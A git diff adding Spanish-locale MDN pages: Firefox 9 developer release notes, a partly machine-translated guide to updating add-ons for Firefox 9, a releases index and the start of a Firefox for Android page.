+ <li>When a stylesheet included using the <a href="/es/docs/Web/HTML/Elemento/link" title="El elemento HTML &lt;link> especifica la relación entre el documento actual y un recurso externo. Los usos posibles de este elemento incluyen la definición de un marco relacional para navegación. Este elemento es más frecuentemente usado para enlazar hojas de estilos."><code>&lt;link&gt;</code></a> element has been fully loaded and parsed (but not yet applied to the document), a <a href="/en-US/docs/HTML/Element/link#Stylesheet_load_events" title="en-US/docs/HTML/Element/link#Stylesheet_load_events"><code>load</code> event</a> is now fired. Also, if an error occurs processing a style sheet, an <code>error</code> event is fired.</li>
+ <li>You can now specify overflow settings for both the left and right edges of content using a new two-value syntax for <a href="/es/docs/Web/CSS/text-overflow" title="La propiedad de CSS text-overflow determina como el contenido que se desborda y que no es mostrado, va a hacersele notar a los usuarios. Puede ser cortado, mostrar una elipsis ('…', U+2026 Horizontal Ellipsis), o mostrar una cadena de texto personalizada."><code>text-overflow</code></a>.</li>
+</ul>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p><em>No change.</em></p>
+
+<h3 id="DOM">DOM</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/DOM/Using_full-screen_mode" title="Using full-screen mode">Using full-screen mode</a></dt>
+ <dd>The new full-screen API provides a way to present content using the entire screen, with no browser interface. This is great for video and games. This API is currently experimental and prefixed.</dd>
+</dl>
+
+<ul>
+ <li>The <a href="/es/docs/Web/API/Node/contains" title="El método Node.contains() devuelve un valor Boolean indicando si un nodo es descendiente de un nodo dado o no, por ejemplo, el propio nodo, uno de sus hijos directos ((childNodes)), uno de los hijos directos de su nodo hijo, etc."><code>Node.contains()</code></a> method is now implemented; this lets you determine if a given node is a descendant of another node.</li>
+ <li>The <a href="/es/docs/Web/API/Node/parentElement" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Node.parentElement</code></a> attribute has been implemented; this returns the parent <a href="/es/docs/Web/API/Element" title="Varias especificaciones aplicadas a los elementos:"><code>Element</code></a> of a DOM node, or <code>null</code> if the parent isn't an element.</li>
+ <li>DOM Level 3 <a href="/en-US/docs/DOM/CompositionEvent" title="CompositionEvent">composition events</a> are now supported.</li>
+ <li>The <a href="/es/docs/Web/API/Document/scripts" title="Devuelve una lista de elementos &lt;script> ubicados en el documento. El objeto devuelto es una colección HTMLCollection."><code>Document.scripts</code></a> attribute has been implemented; this returns an <a href="/es/docs/Web/API/HTMLCollection" title="La interfaz HTMLCollection representa una colección genérica (objeto tipo array similar a arguments) de elementos (en orden de documento) y ofrece métodos y propiedades para seleccionarlos de la lista."><code>HTMLCollection</code></a> of all the <a href="/es/docs/Web/HTML/Elemento/script" title="El elemento HTML Script (&lt;script>) se utiliza para insertar o hacer referencia a un script ejecutable dentro de un documento HTML o XHTML."><code>&lt;script&gt;</code></a> elements on the document.</li>
+ <li>The <a href="/es/docs/Web/API/Document/queryCommandSupported" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Document.queryCommandSupported()</code></a> method has been implemented.</li>
+ <li>The set of events that can be listened for on <a href="/es/docs/Web/HTML/Elemento/body" title="El Elemento HTML &lt;body> representa el contenido de un documento HTML. Sólo puede haber un elemento &lt;body> en un documento."><code>&lt;body&gt;</code></a> elements has been revised to match the latest draft of the HTML5 specification. The list of events in the <a href="/en-US/docs/DOM/DOM_event_reference" title="DOM event reference">DOM event reference</a> reflects which events can be listened for on <a href="/es/docs/Web/HTML/Elemento/body" title="El Elemento HTML &lt;body> representa el contenido de un documento HTML. Sólo puede haber un elemento &lt;body> en un documento."><code>&lt;body&gt;</code></a>.</li>
+ <li>The <code>readystatechange</code> event is now fired only on the <a href="/es/docs/Web/API/Document" title="La interfaz Document representa cualquer página web cargada en el navegador y sirve como punto de entrada al contenido de la página (El árbol DOM)."><code>Document</code></a>, as intended.</li>
+ <li>Event handlers are now implemented as standard IDL interfaces. For most cases, this won't affect content, but <a href="/en-US/docs/DOM/DOM_event_handlers#Event_handler_changes_in_Firefox_9" title="en-US/docs/DOM/DOM_event_handlers#Event_handler_changes_in_Firefox_9">there are exceptions</a>.</li>
+ <li>A new response type, "<code>moz-json</code>", has been added to <code>XMLHttpRequest</code>, letting <code>XMLHttpRequest</code> automatically parse <a href="/en-US/docs/JSON" title="JSON">JSON</a> strings for you; when you request this type, a returned JSON string is parsed, so that the value of the <code>response</code> property is the resulting JavaScript object.</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Monitoring_progress" title="en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Monitoring_progress"><code>XMLHttpRequest</code> "progress" events</a> are now reliably sent for every chunk of data received; in the past it was possible for the last chunk of data received to not fire a "progress" event. Now you can track progress by following only "progress" events, instead of also having to monitor "load" events to detect the receipt of the last chunk of data.</li>
+ <li>In the past, calling <a href="/en-US/docs/DOM/element.addEventListener" title="element.addEventListener"><code>addEventListener()</code></a> with a <code>null</code> listener would throw an exception. Now it returns without error and with no effect.</li>
+ <li>The new <a href="/es/docs/Web/API/Navigator/doNotTrack" title='Devuelve los ajustes de do-not-track del usuario. Esto es "1" si el usuario ha solicitado no ser rastreado por sitios web, contenidos, o anuncios.'><code>navigator.doNotTrack</code></a> property lets your content easily determine whether or not the user has enabled their do-no-track preference; if this value is "yes", you should not track the user.</li>
+ <li><a href="/es/docs/Web/API/Range" title="El objeto Range representa un fragmento de un documento que puede contener nodos y partes de nodos de texto en un documento dado."><code>Range</code></a> and <a href="/es/docs/Web/API/Selection" title="Selección es la clase de objeto devuelto por  window.getSelection() y otros métodos."><code>Selection</code></a> objects now behave according to their specifications when <a href="/es/docs/Web/API/Text/splitText" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>splitText()</code></a> and <a href="/es/docs/Web/API/Node/normalize" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>normalize()</code></a> are called.</li>
+ <li>The value of <a href="/es/docs/Web/API/Node/ownerDocument" title="La propiedad de lectura Nodo.ownerDocument devuelve el objecto Document de más alto nivel/jerarquia para ese nodo."><code>Node.ownerDocument</code></a> for doctype nodes is now the document on which <a href="/en-US/docs/DOM/DOMImplementation.createDocumentType" title="DOMImplementation.createDocumentType"><code>createDocumentType()</code></a> was called to create the node, instead of <code>null</code>.</li>
+ <li><code>window.navigator.taintEnabled</code> has been removed; it has not been supported in many years.</li>
+</ul>
+
+<h3 id="Workers">Workers</h3>
+
+<ul>
+ <li>Workers implemented in blob URLs were broken in Firefox 8, and work again starting in Firefox 9.</li>
+</ul>
+
+<h3 id="WebGL">WebGL</h3>
+
+<ul>
+ <li>The <a href="/en-US/docs/WebGL" title="WebGL">WebGL</a> context <code>drawingBufferWidth</code> and <code>drawingBufferHeight</code> attributes are now supported.</li>
+</ul>
+
+<h3 id="MathML">MathML</h3>
+
+<ul>
+ <li>The non-standard <code>restyle</code> value for the <code>actiontype</code> attribute on <code><a href="/es/docs/Web/MathML/Elemento/maction" title="&lt;maction>">&lt;maction&gt;</a></code> elements has been removed.</li>
+ <li>While still unsupported, using the <code><a href="/es/docs/Web/MathML/Elemento/mlabeledtr" title="&lt;mlabeledtr>">&lt;mlabeledtr&gt;</a></code> element no longer breaks rendering completely. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=689641" title="Add support for mlabeledtr">error 689641</a> for progress on actual support of this element.</li>
+</ul>
+
+<h3 id="Networking">Networking</h3>
+
+<ul>
+ <li>You can now send the contents of <a href="/en-US/docs/JavaScript_typed_arrays" title="JavaScript typed arrays">JavaScript typed arrays</a> (that is, the contents of an <a href="/en-US/docs/JavaScript_typed_arrays/ArrayBuffer" title="ArrayBuffer"><code>ArrayBuffer</code></a> object) <a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Sending_typed_arrays_as_binary_data" title="en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Sending_typed_arrays_as_binary_data">using XMLHttpRequest</a>.</li>
+ <li>WebSocket connections now permit non-characters in otherwise valid UTF-8 data frames to be received, instead of failing.</li>
+ <li>The HTTP <code>Accept</code> header for XSLT requests has been changed to simply "*/*" for simplicity. Since fetching XSLT has always fallen back to "*/*" anyway, it made sense to simplify the initial request.</li>
+ <li>Attempts by a server to use the <code>301 Moved Permanently</code> or <code>307 Temporary Redirect</code> response codes to redirect the user to a <code>javascript:</code> URI now <a href="/en-US/docs/HTTP#More_on_redirection_responses" title="en-US/docs/HTTP#More_on_redirection_responses">result in a "bad connection" error</a> instead of actually redirecting. This prevents certain types of cross-site scripting attacks.</li>
+ <li>Content served with an empty <a href="/es/docs/Web/HTTP/Headers/Content-Disposition" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Content-Disposition</code></a> were previously treated as if the <a href="/es/docs/Web/HTTP/Headers/Content-Disposition" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Content-Disposition</code></a> were "attachment"; this didn't always work as expected. These are now handled as if the <a href="/es/docs/Web/HTTP/Headers/Content-Disposition" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Content-Disposition</code></a> were "inline".</li>
+ <li>The default maximum size of an item in the disk cache has been increased to 50 MB; previously, only items up to 5 MB were cached.</li>
+</ul>
+
+<h3 id="Developer_tools">Developer tools</h3>
+
+<ul>
+ <li>The web console now supports basic <a href="/en-US/docs/Using_the_Web_Console#String_substitutions" title="en-US/docs/Using_the_Web_Console#String_substitutions">string substitutions</a> in its logging methods.</li>
+ <li>You can now <a href="/en-US/docs/Using_the_Web_Console#Using_groups_in_the_console" title="en-US/docs/Using_the_Web_Console#Using_groups_in_the_console">create visually nested blocks of output</a> in the web console, to help make it easier to read.</li>
+</ul>
+
+<h2 id="Changes_for_Mozilla_and_add-on_developers">Changes for Mozilla and add-on developers</h2>
+
+<p>See <a href="/en-US/docs/Firefox/Updating_add-ons_for_Firefox_9" title="en-US/docs/Firefox/Updating add-ons for Firefox 9">Updating add-ons for Firefox 9</a> for an overview of the changes you may need to make to get your add-ons working in Firefox 9.</p>
+
+<h3 id="XUL">XUL</h3>
+
+<ul>
+ <li>The <code><a href="/es/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code> element now has a <code id="a-pending"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/pending">pending</a></code> attribute, whose value is <code>true</code>, when the tab is in the process of being restored by the session store service. This can be used for styling the tab in themes. The attribute isn't present on tabs that aren't pending.</li>
+ <li>The <code><a href="/es/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code> element now has an <code id="a-unread"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/unread">unread</a></code> attribute, whose value is <code>true</code>, when the tab has changed since the last time it was the active tab or if it hasn't been selected since the current session began. The attribute isn't present on tabs that are not unread.</li>
+ <li>You can now use a <code><a href="/es/docs/Mozilla/Tech/XUL/panel" title="panel">panel</a></code> as a drag image for DOM drag and drop operations. This lets you use the standard drag &amp; drop API for <a href="/en-US/docs/DragDrop/Drag_Operations#Using_XUL_panels_as_drag_images" title="en-US/docs/DragDrop/Drag_Operations#Using_XUL_panels_as_drag_images">drag and drop of XUL content</a>.</li>
+ <li>The <code><a href="/es/docs/Mozilla/Tech/XUL/notificationbox" title="notificationbox">notificationbox</a></code> element's <span id="m-appendNotification"><code><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Method/appendNotification">appendNotification</a></code></span> method now lets you specify a callback that gets called for interesting events related to the notification box. Currently, the only event is "removed", which tells you the box has been removed from its window.</li>
+</ul>
+
+<h3 id="JavaScript_code_module_changes">JavaScript code module changes</h3>
+
+<ul>
+ <li><a href="/en-US/docs/JavaScript_code_modules/FileUtils.jsm" title="FileUtils.jsm"><code>FileUtils.jsm</code></a> now has a <code>File</code> constructor that returns an <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIFile" title="">nsIFile</a></code> object representing a file specified by its pathname.</li>
+</ul>
+
+<h3 id="Service_changes">Service changes</h3>
+
+<ul>
+ <li>The content preference service now <a href="/en-US/docs/Using_content_preferences#private-browsing" title="en-US/docs/Using_content_preferences#private-browsing">handles private mode browsing</a> (see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=679784" title="FIXED: nsIContentPrefService should handle private browsing mode">error 679784</a>).</li>
+</ul>
+
+<h3 id="NSPR">NSPR</h3>
+
+<ul>
+ <li>NSPR now has an "append" module, which lets you append new data to the end of an existing log.</li>
+</ul>
+
+<h3 id="Interface_changes">Interface changes</h3>
+
+<h4 id="Removed_interfaces">Removed interfaces</h4>
+
+<ul>
+ <li><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIGlobalHistory3" title="">nsIGlobalHistory3</a></code> has been removed during streamlining of the Places and DocShell code.</li>
+</ul>
+
+<h4 id="Miscellaneous_interface_changes">Miscellaneous interface changes</h4>
+
+<ul>
+ <li>The <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISound" title="">nsISound</a></code> interface has a new constant, <code>EVENT_EDITOR_MAX_LEN</code>. The allows for playing the system sound for when more characters than the maximum allowed are typed into a text field. Currently, this is only used on Windows.</li>
+ <li>The <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIScriptError2" title="">nsIScriptError2</a></code> interface has new <code>timeStamp</code> and <code>innerWindowID</code> properties; in addition, the <code>initWithWindowID()</code> method now takes an inner window ID instead of an outer window ID.</li>
+ <li>The <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsIBidiKeyboard#haveBidiKeyboards">nsIBidiKeyboard.haveBidiKeyboards</a></code> attribute has been added; this lets you determine if the system has at least one keyboard installed for each direction: left-to-right and right-to-left.</li>
+ <li>The new <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsIEditor#isSelectionEditable">nsIEditor.isSelectionEditable</a></code> attribute lets you determine if the current selection anchor is editable. This helps to support cases where only parts of the document are editable, by letting you see if the current selection is in an editable section.</li>
+ <li>The <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsIBrowserHistory#registerOpenPage()">nsIBrowserHistory.registerOpenPage()</a></code> and <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsIBrowserHistory#unregisterOpenPage()">nsIBrowserHistory.unregisterOpenPage()</a></code> methods have been removed as part of a performance overhaul in the Places system. You can use the corresponding methods in <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/mozIPlacesAutoComplete" title="">mozIPlacesAutoComplete</a></code> instead.</li>
+ <li>The <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsIDOMWindowUtils#wrapDOMFile()">nsIDOMWindowUtils.wrapDOMFile()</a></code> method has been added; this returns a DOM <a href="/es/docs/Web/API/File" title="La interfaz File provee información acerca de los archivos y permite el acceso a su contenido."><code>File</code></a> object for a given <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIFile" title="">nsIFile</a></code>.</li>
+ <li>The <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsIChromeFrameMessageManager#removeDelayedFrameScript()">nsIChromeFrameMessageManager.removeDelayedFrameScript()</a></code> method was added to support removing delayed load scripts. Bootstrapped add-ons should use this, at shutdown, to remove any scripts it loaded using <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsIChromeFrameMessageManager#loadFrameScript()">nsIChromeFrameMessageManager.loadFrameScript()</a></code> with the delayed load flag set. This is exposed to add-ons as <code>browser.messageManager.removeDelayedFrameScript()</code>.</li>
+ <li>The <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAppStartup" title="">nsIAppStartup</a></code> interface has a new <code>interrupted</code> attribute, which lets you know if the startup process was interrupted at any point by an interactive prompt. This can be helpful, for example, when timing startups during performance evaluation, to be able to drop numbers from sessions that were interrupted.</li>
+ <li>The <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEditorSpellCheck" title="">nsIEditorSpellCheck</a></code> interface has been revised to support per-site selection of spell checker dictionaries.</li>
+</ul>
+
+<h3 id="IDL_parser">IDL parser</h3>
+
+<p>The IDL parser no longer includes support for the never fully-implemented notion of unique pointers.</p>
+
+<h3 id="Build_system_changes">Build system changes</h3>
+
+<ul>
+ <li>The <code>--enable-application=standalone</code> option for building standalone XPConnect has been removed; it hasn't worked since 2007 anyway.</li>
+ <li>Support for building Necko and Transformiix XSLT standalone has been removed; you can no longer use <code>--enable-application=network</code> or <code>--enable-application=content/xslt</code>.</li>
+ <li>The build system now looks for <code>.mozconfig</code> at <code>$topsrcdir/.mozconfig</code> or <code>$topsrcdir/mozconfig</code>, and nowhere else, unless you override the <code>.mozconfig</code> path using the <code>MOZCONFIG</code> environment variable.</li>
+ <li>The <code>xpidl</code> utility has been replaced in the SDK with <a href="/en-US/docs/XPIDL/pyxpidl" title="pyxpidl">pyxpidl</a>.</li>
+</ul>
+
+<h3 id="Other_changes">Other changes</h3>
+
+<ul>
+ <li>The spell checker no longer has an arbitrary 130-character word-length limit on the length of words it will attempt to spell check. This limit was previously in place to prevent crashes that were occurring in the spell checker, but the underlying bugs have since been fixed.</li>
+ <li>You can now register components to add features to the <a href="/es/docs/Web/API/Window/navigator" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>window.navigator</code></a> object by using the "JavaScript-navigator-property" category. See <a href="/en-US/docs/Developer_Guide/Adding_APIs_to_the_navigator_object" title="en-US/docs/Developer_Guide/Adding APIs to the navigator object">Adding APIs to the navigator object</a> for details and examples.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<div><div class="multiColumnList">
+<ul>
+<li><a href="/es/docs/Mozilla/Firefox/Releases/8">Firefox 8 for developers</a></li><li><a href="/es/docs/Mozilla/Firefox/Releases/7">Firefox 7 for developers</a></li><li><a href="/es/docs/Mozilla/Firefox/Releases/6">Firefox 6 for developers</a></li><li><a href="/es/docs/Mozilla/Firefox/Releases/5">Firefox 5 for developers</a></li><li><a href="/es/docs/Mozilla/Firefox/Releases/4">Firefox 4 for developers</a></li><li><a href="/es/docs/Mozilla/Firefox/Releases/3.6">Firefox 3.6 for developers</a></li><li><a href="/es/docs/Mozilla/Firefox/Releases/3.5">Firefox 3.5 for developers</a></li><li><a href="/es/docs/Mozilla/Firefox/Releases/3">Firefox 3 for developers</a></li><li><a href="/es/docs/Mozilla/Firefox/Releases/2">Firefox 2 for developers</a></li><li><a href="/es/docs/Mozilla/Firefox/Releases/1.5">Firefox 1.5 for developers</a></li></ul>
+</div></div>
diff --git a/files/es/mozilla/firefox/releases/9/updating_add-ons/index.html b/files/es/mozilla/firefox/releases/9/updating_add-ons/index.html
new file mode 100644
index 0000000000..ff9d1e483e
--- /dev/null
+++ b/files/es/mozilla/firefox/releases/9/updating_add-ons/index.html
@@ -0,0 +1,69 @@
+---
+title: Actualizando add-ons para Firefox 9
+slug: Mozilla/Firefox/Releases/9/Updating_add-ons
+translation_of: Mozilla/Firefox/Releases/9/Updating_add-ons
+---
+<div>{{FirefoxSidebar}}</div><p><span id="result_box" lang="es"><span class="hps">Firefox</span> <span class="hps">9</span> <span class="hps">no tiene</span> <span class="hps">una gran cantidad de</span> <span class="hps">cambios</span> <span class="hps">que deberian ser</span><span class="hps"> problemas de compatibilidad</span> <span class="hps">para los desarrolladores</span> <span class="hps">de add-ons.</span> <span class="hps">Sin embargo</span><span>,</span> <span class="hps">hay algunos</span> <span class="hps">elementos</span> <span class="hps">posibles que</span> <span class="hps">puedan ser problematicos</span><span>,</span> <span class="hps">así que vamos</span> <span class="hps">a echar un vistazo</span><span>.</span> </span></p>
+
+<h2 id="¿Es_necesario_hacer_halgo"><span id="result_box" lang="es"><span class="hps">¿</span></span>Es necesario hacer halgo?</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Si</span> <span class="hps">se distribuye</span> <span class="hps">su</span> <span class="hps">add-on</span> <span class="hps">en</span> <span class="hps">addons.mozilla.org</span> <span class="hps">(AMO</span><span>)</span><span>,</span> <span class="hps">ha sido</span> <span class="hps">verificado</span> <span class="hps">por</span> <span class="hps">una herramienta</span> <span class="hps">de verificación de</span><span class="hps"> compatibilidad</span> <span class="hps">automatizada.</span> <span class="atn hps">Add-</span><span>ons</span> <span class="hps">que</span> <span class="hps">no utilice</span> <span class="hps">API</span> <span class="hps">que cambiaron</span> <span class="hps">en</span> <span class="hps">Firefox 8</span><span>,</span> <span class="hps">y no tienen</span> <span class="hps">componentes</span> <span class="atn hps">binarios (</span><span>que deben</span> <span class="hps">volver a compilar</span> <span class="hps">para cada</span> <span class="hps">versión importante</span> <span class="hps">de Firefox</span><span>)</span><span>,</span> <span class="hps">automáticamente</span> <span class="hps">se han</span> <span class="hps">actualizado</span> <span class="hps">en</span> <span class="hps">AMO</span> <span class="hps">para indicar que</span> <span class="hps">funcionan</span> <span class="hps">en</span> <span class="hps">Firefox</span> <span class="hps">9</span><span>.</span><br>
+ <br>
+ <span class="hps">Así que usted debe</span> <span class="hps">empezar por visitando</span> <span class="hps">AMO</span> <span class="hps">y mirando</span> <span class="hps">para ver</span> <span class="hps">si su</span> add-on</span> requiere trabajo.</p>
+
+<div class="note"><span id="result_box" lang="es"><span class="hps"><strong>Nota</strong>: Aún</span> <span class="hps">deberia probar su</span> <span class="hps">add-on</span> <span class="hps">en</span> <span class="hps">Firefox</span> <span class="hps">9</span><span>,</span> <span class="hps">incluso</span> <span class="hps">si se ha</span> <span class="hps">actualizado</span> <span class="hps">automáticamente.</span> <span class="hps">Hay</span> <span class="hps">casos raros </span><span class="hps">que</span> <span class="hps">no</span> <span class="hps">se pueden detectar</span> <span class="hps">de forma automática</span><span>.</span></span></div>
+
+<div class="almost_half_cell" id="gt-res-content">
+<div dir="ltr" style="zoom: 1;"><span id="result_box" lang="es"><span class="hps">Ya </span><span class="hps">que haya confirmado</span> <span class="hps">que</span><span class="hps"> necesitas hacer cambios</span><span>, vuelva</span> <span class="hps">de nuevo a</span> <span class="hps">esta página y</span> <span class="hps">siga leyendo.</span></span></div>
+
+<div dir="ltr" style="zoom: 1;"> </div>
+</div>
+
+<h2 id="Add-ons_que_estan_bootstrapped_pueden_quitar_scripts_de_carga_retrasada"><span id="result_box" lang="es"><span class="hps">Add-ons que estan</span> <span class="hps">bootstrapped</span> <span class="hps">pueden quitar</span> <span class="hps">scripts </span><span class="hps">de carga</span> <span class="hps">retrasada</span> </span></h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Si su</span> <span class="hps">complemento usa</span> <span class="atn hps">{</span><span class="atn">{</span><span>ifmethod</span> <span class="atn hps">(</span><span class="atn hps">"</span><span>nsIChromeFrameMessageManager</span><span>"</span><span>,</span> <span class="atn hps">"</span><span>loadFrameScript</span><span>"</span><span>)</span><span>}</span><span>}</span> <span class="hps">con el delayed-load</span> <span class="hps">disponido</span><span>, el script</span> <span class="hps">se carga</span> <span class="hps">en todo cuadro</span> <span class="hps">creado a partir</span> <span class="hps">de ese momento</span><span>.</span> <span class="hps">Esto es genial,</span> <span class="hps">excepto que</span> <span class="hps">desde Firefox</span> <span class="hps">9</span><span>,</span> <span class="hps">no había</span> <span class="hps">manera de</span> <span class="hps">detener la carga de</span> el script<span>,</span> <span class="hps">asi que que </span><span class="hps">seguiria ocurriendo</span> <span class="hps">incluso después de que</span> <span class="hps">su</span> <span class="hps">add-on</span> <span class="hps">fue cerrado</span><span>.</span><br>
+ <br>
+ <span class="hps">A partir de</span> <span class="hps">Firefox</span> <span class="hps">9</span><span>, debe llamar a</span> <span class="hps">el nuevo</span> <span class="atn hps">{</span><span class="atn">{</span><span>}</span> <span class="hps">ifmethod</span> <span class="atn hps">(</span><span class="atn hps">"</span><span>nsIChromeFrameMessageManager</span><span>"</span><span>,</span> <span class="atn hps">"</span><span>removeDelayedFrameScript</span><span>"</span><span>)</span><span>}</span> <span class="hps">método para</span> <span class="hps">detener la carga de</span> el script <span class="hps">en los nuevos cuadros</span><span>.</span> <span class="hps">Esto se hace</span> <span class="hps">de esta manera</span><span>, por ejemplo</span><span>:</span></span></p>
+
+<pre>browser.messageManager.removeDelayedFrameScript("chrome://myextension/content/somescript.js");
+</pre>
+
+<h2 id="Interface_changes">Interface changes</h2>
+
+<ul>
+ <li>The {{ interface("nsIURL") }} interface has been changed a bit. The {{ ifattribute("nsIURL", "param") }} attribute was removed, and the {{ ifmethod("nsIURLParser", "parsePath") }} method has two fewer arguments than it did previously.</li>
+ <li>Two methods have been removed from {{ interface("nsIBrowserHistory") }}: <code>registerOpenPage()</code> and <code>unregisterOpenPage()</code>. These methods had been deprecated.</li>
+ <li>The {{ ifmethod("nsIEditorSpellCheck", "saveDefaultDictionary") }} method has been removed as part of supporting per-site spell check settings. Also, {{ ifmethod("nsIEditorSpellCheck", "updateCurrentDictionary") }} no longer takes a parameter.</li>
+ <li>The {{ interface("nsIGlobalHistory3") }} interface has been removed. Its functionality was of limited (if any) use to add-ons, so this shouldn't affect anyone.</li>
+ <li>Several specialized channels' properties attributes have been merged into the base {{ interface("nsIChannel") }} interface. This shouldn't affect compatibility at all, since those interfaces inherit from <code>nsIChannel</code> anyway.</li>
+</ul>
+
+<h2 id="Preference_changes">Preference changes</h2>
+
+<p>The <code>geo.wifi.*</code> preferences no longer have default values, although they're honored if they exist. If your code reads these without handling the case where they don't exist, you need to update your code to handle the exception that gets thrown when they're not present.</p>
+
+<h2 id="XPConnect_changes">XPConnect changes</h2>
+
+<p><code>nodePrincipal</code> and <code>baseURIObject</code> have been moved from <code>nsDOMClassInfo</code> to <code>XrayWrapper</code>. This shouldn't affect many add-ons, since it would only be an issue if they try to access these properties on DOM {{ domxref("Node") }} objects from unprivileged script that have requested XPConnect privileges using <code>enablePrivilege()</code>.</p>
+
+<h2 id="DOM_changes">DOM changes</h2>
+
+<ul>
+ <li>The long-obsolete method <code>Navigator.taintEnabled()</code> has been removed. This hasn't done anything useful in a very long time, but was often used in browser detection scripts, since it was Netscape-specific. Calling this method throws an exception starting in Firefox 9.</li>
+ <li>Event handlers are now implemented as standard IDL interfaces. For most cases, this won't affect you, but <a href="/en/DOM/DOM_event_handlers#Event_handler_changes_in_Firefox_9" title="en/DOM/DOM_event_handlers#Event_handler_changes_in_Firefox_9">there are exceptions</a>.</li>
+</ul>
+
+<h2 id="Other_changes_that_may_affect_binary_compatibility">Other changes that may affect binary compatibility</h2>
+
+<p>These changes are notable in that they may affect binary XPCOM components. These will need rebuilding anyway, since that's required for every major release of Firefox, but could introduce compile-time errors, so they're worth noting in particular.</p>
+
+<ul>
+ <li>The {{ interface("nsIDOMHTMLDocument") }} interface now has a new <code>scripts</code> attribute, which implements the {{ domxref("Document.scripts") }} attribute.</li>
+ <li>The {{ ifmethod("nsIJumpListShortcut", "iconImageUri") }} method has been added, to make it possible to establish favicons on jump list URI entries on Windows.</li>
+</ul>
+
+<h2 id="Theme_changes">Theme changes</h2>
+
+<p>The {{ XULAttr("pending") }} attribute has been added to the {{ XULElem("tab") }} element. If this attribute is present, the tab is in the process of being restored by the session store service. You can use that to style the tab during the restore process. It's worth noting that if the user has turned on the "Don't load tabs until selected" preference, the {{ XULAttr("pending") }} attribute is set on tabs until they get loaded.</p>
+
+<p>Similarly, tabs also now have an {{ XULAttr("unread") }} attribute; this property, if present, indicates that the tab has changed since the last time it was the active tab. You can use this to style tabs differently when they have changed since the last time the user looked at them. This is also present on tabs that have not yet been looked at during the current session.</p>
diff --git a/files/es/mozilla/firefox/releases/index.html b/files/es/mozilla/firefox/releases/index.html
new file mode 100644
index 0000000000..969916af10
--- /dev/null
+++ b/files/es/mozilla/firefox/releases/index.html
@@ -0,0 +1,11 @@
+---
+title: Notas de desarrollo de Firefox
+slug: Mozilla/Firefox/Releases
+tags:
+  - Firefox
+  - TopicStub
+translation_of: Mozilla/Firefox/Releases
+---
+<div>{{FirefoxSidebar}}</div><p>Esta página provee enlaces a artículos de desarrolladores para Firefox X para cada versión de Firefox. Estas notas permiten ver las características añadidas y los errores eliminados en cada versión de Firefox.</p>
+
+<div class="multiColumnList">{{ListSubpages("",1,1,1)}}</div>
diff --git a/files/es/mozilla/firefox_para_android/index.html b/files/es/mozilla/firefox_para_android/index.html
new file mode 100644
index 0000000000..7ba3ca497b
--- /dev/null
+++ b/files/es/mozilla/firefox_para_android/index.html
@@ -0,0 +1,65 @@
+---
+title: Firefox para Android
+slug: Mozilla/Firefox_para_Android
+translation_of: Mozilla/Firefox_for_Android
+---
+<p>Para cada vez más personas, los dispositivos móviles representan su manera principal —o incluso la única manera— de navegar por la web.<a class="link-https" href="https://www.mozilla.org/en-US/mobile/"> Firefox para Android</a> (cuyo nombre en código es Fennec) es un navegador abierto, «hackeable» y que cumple con los estándares, al igual que el Firefox de escritorio.</p>
+
+<p>Firefox para Android construye su interfaz de usuario mediante «widgets» nativos de Android en lugar de XUL: esto mejora considerablemente el rendimiento, especialmente el tiempo de inicio y el consumo de memoria. Actualmente esta versión está destinada únicamente a los teléfonos, y la versión para tabletas todavía utiliza XUL. En el futuro, esperamos traer la compatibilidad con los «widgets» nativos también para la IU para tabletas.</p>
+
+<h2 id="Contribuir_a_Firefox_para_Android">Contribuir a Firefox para Android</h2>
+
+<p>El punto de partida principal para obtener información sobre el proyecto Firefox para Android es la <a class="link-https" href="https://wiki.mozilla.org/Mobile">página del wiki del proyecto</a>.</p>
+
+<p>Puede ayudarnos a crear y mejorar Firefox para Android:</p>
+
+<ul>
+ <li>ayúdenos <a class="link-https" href="https://wiki.mozilla.org/Mobile/Testdrivers_Program">realizando pruebas</a>
